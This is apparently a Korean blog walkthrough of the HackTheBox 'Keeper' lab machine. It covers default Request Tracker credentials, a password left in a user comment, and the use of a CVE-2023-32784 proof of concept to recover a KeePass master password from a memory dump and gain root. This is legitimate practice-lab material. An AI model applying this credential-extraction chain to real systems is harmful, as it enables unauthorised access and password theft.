[HTB] Keeper

쥬스몬·2023년 8월 31일
0

HackTheBox

목록 보기
30/37
post-thumbnail

이번에 시도할 머신은 Linux 머신으로 쉬움 난이도로 나온 keeper다.

Recon

Port Scan

포트 스캔 결과로 22/tcp, 80/tcp 두개가 스캔되었다. 간단한 구성이다.

Starting Nmap 7.93 ( https://nmap.org ) at 2023-08-17 09:54 KST
Nmap scan report for keeper.htb (10.129.120.136)
Host is up (0.35s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3539d439404b1f6186dd7c37bb4b989e (ECDSA)
|_  256 1ae972be8bb105d5effedd80d8efc066 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.84 seconds

Web

keeper.htb:80

80/tcp 포트로 서비스 중인 웹(keeper.htb)에 접근하니 아래와 같은 http://tickets.keeper.htb 링크가 하나 보인다.

tickets.keeper.htb:80

하위 도메인인 tickets에 접근하면 아래와 같은 로그인 페이지를 볼 수 있고 푸터를 통해 운영중인 서비스 정보인 RT 4.4.4+dfsg-2ubuntu1 (Debian)를 파악할 수 있다.

RT(Request Tacker)의 경우 디폴트 계정 정보는 root:password로 구성되어있으며, tickets에서 기본 계정을 통해 로그인이 가능하다.

Admin > Users 메뉴에 접근하면 유저정보를 파악할 수 있는데, lnorgaard@keeper.htb 계정의 Comment에서 기본 패스워드로 파악되는 메모를 확인할 수 있다.

User

lnorgaard

위에서 확인한 패스워드를 통해 SSH에 접근할 수 있다.

% ssh lnorgaard@keeper.htb
lnorgaard@keeper.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

You have mail.
Last login: Tue Aug  8 11:31:22 2023 from 10.10.14.23
lnorgaard@keeper:~$ id
uid=1000(lnorgaard) gid=1000(lnorgaard) groups=1000(lnorgaard)

해당 유저의 홈 디렉터리에서 RT30000.zip 파일을 확인할 수 있었고 해당 zip 파일을 풀어보니 2개의 파일이 존재했으며 각각의 파일은 다음과 같은 파일로 추정된다.

  • KeePassDumpFull.dmp : KeePass 사용에 대한 메모리 덤프 파일
  • passcodes.kdbx : KeePass DB파일
lnorgaard@keeper:~$ unzip RT30000.zip
Archive:  RT30000.zip
  inflating: KeePassDumpFull.dmp
 extracting: passcodes.kdbx

root

KeePass의 CVE를 조사해보니 따끈따끈한 CVE-2023-32784가 존재했다. 해당 CVE는 PoC가 존재했으며, KeePass 메모리 덤프 파일에서 kdbx 파일에 접근 가능한 비밀번호를 찾아 낼 수 있다.

lnorgaard@keeper:~$ python3 poc.py -d KeePassDumpFull.dmp
2023-08-17 06:05:45,614 [.] [main] Opened KeePassDumpFull.dmp
Possible password: ●,dgr●d med fl●de
Possible password: ●ldgr●d med fl●de
Possible password: ●`dgr●d med fl●de
Possible password: ●-dgr●d med fl●de
Possible password: ●'dgr●d med fl●de
Possible password: ●]dgr●d med fl●de
Possible password: ●Adgr●d med fl●de
Possible password: ●Idgr●d med fl●de
Possible password: ●:dgr●d med fl●de
Possible password: ●=dgr●d med fl●de
Possible password: ●_dgr●d med fl●de
Possible password: ●cdgr●d med fl●de
Possible password: ●Mdgr●d med fl●de

확인된 패스워드가 특수문자(●)로 깨져 있어 정확한 확인이 불가하여, 유추하기 위해 구글 검색을 해본 결과 덴마크 언어가 깨져서 나타난 것을 알 수 있다.

구글링을 통해 덴마크어로 딸기크림 죽(rødgrød med fløde)으로 추정할 수 있었다.

획득한 패스워드를 통해 “passcodes.kdbx” 데이터베이스를 열어 볼 수 있을 것으로 보이며 열 수 있는 도구를 검색한 결과 KeePass 공식 홈페이지에 툴을 제공하고 있다.

KeePass 프로그램을 이용해서 passcodes.kdbx 파일을 로드하고 패스워드를 입력하여 인증이 가능했다.

passcode.kdbx 내 root 계정에 대한 ppk 파일 내용이 존재한다.

해당 내용을 복사해서 key.txt 파일에 저장하고 아래와 같은 명령을 통해 id_rsa 파일을 생성하고 root 계정으로 권한 상승이 가능했다.

% ssh -i id_rsa root@10.129.229.41
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

You have new mail.
Last login: Thu Aug 31 06:13:01 2023 from 10.10.14.52
root@keeper:~# id
uid=0(root) gid=0(root) groups=0(root)
profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글